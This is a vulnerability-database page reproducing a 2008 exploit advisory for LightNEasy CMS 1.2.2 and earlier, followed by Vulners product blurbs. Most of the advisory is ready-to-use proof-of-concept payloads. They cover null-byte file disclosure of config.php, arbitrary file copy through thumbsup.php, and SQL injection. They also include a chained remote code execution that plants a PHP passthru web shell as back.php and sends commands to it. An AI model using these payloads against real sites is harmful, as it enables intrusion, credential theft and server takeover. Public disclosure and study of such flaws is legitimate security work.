Lucene search
K

LightNEasy SQLite / no database <= 1.2.2 Multiple Remote Vulnerabilities

🗓️ 17 Apr 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

LightNEasy SQLite / no database <= 1.2.2 Multiple Remote Vulnerabilities. Remote file disclosure, arbitrary file copy and rename, getting a remote command execution. Need magic_quotes_gpc off for SQL injections

Code

                                                #&nbsp;Author:	__GiReX__
#&nbsp;mySite:	girex.altervista.org
#&nbsp;Date:		14/04/08

#&nbsp;CMS:		LightNEasy&nbsp;SQLite&nbsp;/&nbsp;no&nbsp;database&nbsp;&lt;=&nbsp;1.2.2
#&nbsp;Site:		lightneasy.org

#&nbsp;Advisory:	Multiple&nbsp;Remote&nbsp;Vulnerabilities

#&nbsp;Need:		magic_quotes_gpc&nbsp;=&nbsp;Off
		magic_quotes_gpc&nbsp;=&nbsp;On&nbsp;/&nbsp;Off&nbsp;for&nbsp;SQL&nbsp;Injections

######################################################################################

#&nbsp;Bug&nbsp;1:&nbsp;	Remote&nbsp;File&nbsp;Disclosure
#&nbsp;Affected:	SQLite&nbsp;/&nbsp;no&nbsp;database

#&nbsp;Get&nbsp;the&nbsp;config.php&nbsp;into&nbsp;HTML&nbsp;(like&nbsp;a&nbsp;comment)
#&nbsp;Note&nbsp;config.php&nbsp;not&nbsp;exists&nbsp;in&nbsp;SQLite&nbsp;version

#&nbsp;PoC:		[host]/[path]/LightNEasy.php?page=config.php%00

######################################################################################

#&nbsp;Bug&nbsp;2:	Arbitrary&nbsp;file&nbsp;copy&nbsp;and&nbsp;rename&nbsp;/&nbsp;Thumsup&nbsp;v1.12
#&nbsp;Affected:	SQLite&nbsp;/&nbsp;no&nbsp;database

#&nbsp;This&nbsp;vuln&nbsp;is&nbsp;present&nbsp;in&nbsp;this&nbsp;extern&nbsp;script&nbsp;by&nbsp;Gerd&nbsp;Tentler&nbsp;that&nbsp;is&nbsp;included&nbsp;by&nbsp;default
#&nbsp;in&nbsp;LightNEasy

#&nbsp;Vuln&nbsp;Code:	LightNEasy/thumbsup.php

34.&nbsp;&nbsp;&nbsp;if(isset($_REQUEST['image']))&nbsp;$image&nbsp;=&nbsp;$_REQUEST['image'];
37.&nbsp;&nbsp;&nbsp;if(isset($_REQUEST['cache_dir']))&nbsp;$cache_dir&nbsp;=&nbsp;$_REQUEST['cache_dir'];

407.&nbsp;&nbsp;if($image)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($fp&nbsp;=&nbsp;@fopen($image,&nbsp;'rb'))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&lt;==
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$size&nbsp;=&nbsp;filesize($image);	&nbsp;&nbsp;&nbsp;&nbsp;&lt;==&nbsp;&nbsp;Unfortunally&nbsp;filesize&nbsp;does&nbsp;not&nbsp;accept&nbsp;remote&nbsp;files
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data&nbsp;=&nbsp;fread($fp,&nbsp;$size);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;==
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$original&nbsp;=&nbsp;&quot;$cache_dir/img_&quot;&nbsp;.&nbsp;md5($image&nbsp;.&nbsp;$size);&nbsp;&nbsp;&lt;==
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;$error&nbsp;=&nbsp;'Could&nbsp;not&nbsp;open';
414.&nbsp;&nbsp;}

451.&nbsp;&nbsp;if(!file_exists($original))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($fp&nbsp;=&nbsp;@fopen($original,&nbsp;'wb'))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;==
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fwrite($fp,&nbsp;$data,&nbsp;strlen($data));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;==
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);
455.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

#&nbsp;Note&nbsp;config.php&nbsp;not&nbsp;exists&nbsp;in&nbsp;SQLite&nbsp;version

#&nbsp;PoC:		[host]/[path]/LightNEasy/thumbsup.php?image=../data/config.php&amp;cache_dir=config.txt%00

#&nbsp;And&nbsp;then&nbsp;get&nbsp;file&nbsp;disclosure&nbsp;with:

#&nbsp;PoC:		[host]/[path]/LightNEasy/config.txt

######################################################################################

#&nbsp;Bug&nbsp;3:	Getting&nbsp;a&nbsp;Remote&nbsp;Command&nbsp;Execution
#&nbsp;Affected:	SQLite&nbsp;/&nbsp;no&nbsp;database

#&nbsp;First&nbsp;of&nbsp;all&nbsp;inject&nbsp;PHP&nbsp;Code&nbsp;into&nbsp;comments.dat&nbsp;from&nbsp;$_POST['newsid']&nbsp;that&nbsp;is&nbsp;not&nbsp;sanizated

#&nbsp;Vuln&nbsp;code:	LightNEasy/runtime.php

32.&nbsp;&nbsp;&nbsp;&nbsp;if($_POST['submit']==&quot;sendcomment&quot;)&nbsp;{
...
42.&nbsp;&nbsp;&nbsp;&nbsp;if(!$fp=fopen(&quot;data/comments.dat&quot;,&quot;a&quot;))&nbsp;die&nbsp;($langmessage[142]);
43.	&nbsp;&nbsp;fwrite($fp,$_POST['newsid'].&quot;|&quot;.encode($_POST['commentname']).&quot;|&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&lt;==
44.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;encode($_POST['commentemail']).&quot;|&quot;.time().&quot;|&quot;.encode(stripslashes($_POST['commentmessage'])).&quot;||&quot;);


#&nbsp;PoC:	If&nbsp;admin&nbsp;has&nbsp;been&nbsp;created&nbsp;some&nbsp;news&nbsp;and&nbsp;page&nbsp;news&nbsp;exists&nbsp;(it&nbsp;can&nbsp;has&nbsp;a&nbsp;different&nbsp;name)
	
	POST&nbsp;[host]/[path]/LightNEasy.php?page=news
	Content-Type:&nbsp;application/x-www-form-urlencoded

	commentname=1&amp;commentemail=1&amp;commentmessage=1&amp;secCode=[CAPTCHA&nbsp;CODE]
	&amp;submit=sendcomment&amp;newsid=&lt;?php&nbsp;passthru($_GET['cmd']);&nbsp;?&gt;/*


#&nbsp;Then&nbsp;create&nbsp;a&nbsp;file&nbsp;back.php&nbsp;with&nbsp;the&nbsp;trick&nbsp;of&nbsp;Bug&nbsp;2

#&nbsp;PoC:		[host]/[path]/LightNEasy/thumbsup.php?image=../data/comments.dat&amp;cache_dir=../back.php%00

#&nbsp;Finally&nbsp;send&nbsp;remote&nbsp;commands&nbsp;to&nbsp;back.php

#&nbsp;PoC:		[host]/[path]/back.php?cmd=ls

######################################################################################

#&nbsp;Bug&nbsp;4:	Multiple&nbsp;Remote&nbsp;SQL&nbsp;Injections
#&nbsp;Affected:	SQLite

#&nbsp;Works&nbsp;with&nbsp;magic_quotes_gpc&nbsp;=&nbsp;On&nbsp;/&nbsp;Off


#&nbsp;Vuln&nbsp;Code:	/LightNEasy/lightneasy.php

237.&nbsp;	if(isset($_GET['dlid']))&nbsp;{
	&nbsp;&nbsp;&nbsp;$result=dbquery(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;downloads&nbsp;WHERE&nbsp;reg=&quot;.$_GET['dlid']);


#&nbsp;PoC:		[host]/[path]/index.php?dlid=-1&nbsp;OR&nbsp;1

#&nbsp;You&nbsp;can&nbsp;find&nbsp;others&nbsp;more&nbsp;SQL&nbsp;Injections&nbsp;by&nbsp;yourself

######################################################################################
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation